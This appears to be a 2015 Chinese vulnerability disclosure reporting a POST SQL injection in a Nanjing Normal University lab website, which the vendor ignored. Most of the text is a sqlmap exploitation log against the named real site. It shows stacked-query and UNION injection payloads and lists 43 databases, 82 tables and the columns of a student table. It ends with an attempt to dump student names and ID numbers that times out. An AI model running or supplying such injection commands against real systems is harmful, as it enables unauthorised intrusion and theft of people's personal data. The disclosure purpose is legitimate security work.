2015-09-15： 细节已通知厂商并且等待厂商处理中 2015-09-20： 厂商已经主动忽略漏洞，细节向公众公开
存在post注入漏洞，注入后，可能被利用。
http://lab.njnu.edu.cn/huaxue/default.asp
通过Firefox拿到post提交的参数
开始了
D:\Python27\sqlmap>sqlmap.py -u "http://lab.njnu.edu.cn/checkuser.asp" --data "collagename=admin&collagepass=admin" --batch _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150913}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.orgsqlmap resumed the following injection point(s) from stored session:---Parameter: collagename (POST) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: collagename=admin';WAITFOR DELAY '0:0:5'--&collagepass=admin Type: UNION query Title: Generic UNION query (NULL) - 16 columns Payload: collagename=-2081' UNION ALL SELECT NULL,CHAR(113)+CHAR(98)+CHAR(98)+CHAR(98)+CHAR(113)+CHAR(115)+CHAR(108)+CHAR(101)+CHAR(106)+CHAR(68)+CHAR(75)+CHAR(79)+CHAR(113)+CHAR(100)+CHAR(117)+CHAR(113)+CHAR(120)+CHAR(112)+CHAR(118)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--&collagepass=admin---[17:27:10] [INFO] testing Microsoft SQL Server[17:27:11] [INFO] confirming Microsoft SQL Server[17:27:15] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft SQL Server 2000
拿数据库
D:\Python27\sqlmap>sqlmap.py -u "http://lab.njnu.edu.cn/checkuser.asp" --data "collagename=admin&collagepass=admin" --dbs --batch _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150913}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.orgavailable databases [43]:[*] BZBB_lw[*] ChuangXinNS[*] db_dike[*] db_njsdjw[*] db_njsfsy[*] db_nsddlhj[*] db_nsdhgxn[*] db_nsdmba[*] db_nsdMediaC[*] db_nsdscw[*] db_nsdsw[*] db_nsdswyy[*] db_nsdswzy[*] db_sdjxjy[*] db_spaqjc[*] JiaoCai[*] master[*] MBA[*] model[*] msdb[*] njnulab[*] njnupj[*] nju2222[*] njuold[*] njupj2012[*] Northwind[*] NSD_ApplicationChemical[*] NSD_Cnooc[*] NSD_ElectricalEngineering[*] NSD_ElectronicInformation[*] NSD_LogisticsServices[*] NSD_TeacherSkills[*] NSD_TeachingTeam[*] nsddky_sy[*] nsdsfjdzxnew[*] nsglxt[*] NSHuaKe[*] NSXinLiXue[*] NY_JG[*] pubs[*] ShangXueYuannew[*] tempdb[*] zhongxinold
一看又是这么多数据库，找一个试试运气
D:\Python27\sqlmap>sqlmap.py -u "http://lab.njnu.edu.cn/checkuser.asp" --data "collagename=admin&collagepass=admin" -D nsglxt --tables --batch _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150913}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.orgDatabase: nsglxt[82 tables]+-------------------+| bigxkname || book || cg || collagemanage || collagename || config || csh || dgjc || dgmd || dgzy || dike_BigClass || dike_News || dike_SmallClass || dike_down || dike_gg || dike_links || dike_sqb || dike_szdw || dtproperties || faxue_BigClass || faxue_News || faxue_SmallClass || faxue_down || faxue_gg || faxue_links || faxue_sqb || faxue_szdw || fjjg1 || fjjg1 || gg2 || gg2 || gz || huaxue_BigClass || huaxue_News || huaxue_SmallClass || huaxue_down || huaxue_gg || huaxue_links || huaxue_sqb || huaxue_szdw || jf || jgcg || jxjh || kbxm || new || qunfa || ryzk || rz || sb || school || score || smallxkname || special || student || sysb || sysconstraints || syssegments || sytable || syyq || tu || urll || user || xinli_BigClass || xinli_News || xinli_SmallClass || xinli_Vote || xinli_down || xinli_gg || xinli_links || xinli_sqb || xinli_szdw || xk1 || xk2 || xkname || xm || xmsq2 || xmsq2 || xueji || yijian || yuxi || zxname || zyname |+-------------------+
又是这么多表，再选一个
D:\Python27\sqlmap>sqlmap.py -u "http://lab.njnu.edu.cn/checkuser.asp" --data "collagename=admin&collagepass=admin" -D nsglxt -T student --columns --batch _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150913}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.orgDatabase: nsglxtTable: student[10 columns]+--------+----------+| Column | Type |+--------+----------+| BJDM | nvarchar || BJMC | nvarchar || CJF | nvarchar || MM | nvarchar || NJ | nvarchar || XB | nvarchar || XH | nvarchar || XM | nvarchar || YX | nvarchar || ZY | nvarchar |+--------+----------+
后面再破解列的时候就变成going to retry the request，不知道是不是选错数据库和表了
D:\Python27\sqlmap>sqlmap.py -u "http://lab.njnu.edu.cn/checkuser.asp" --data "collagename=admin&collagepass=admin" -D nsglxt -T student -C "XM,XB,XH" --dump --batch _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150913}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org[18:06:27] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
这个问题还是留给大牛们吧。
也不想重新试其他数据库了，就此收工。
危害等级：无影响厂商忽略
忽略时间：2015-09-20 09:18
暂无
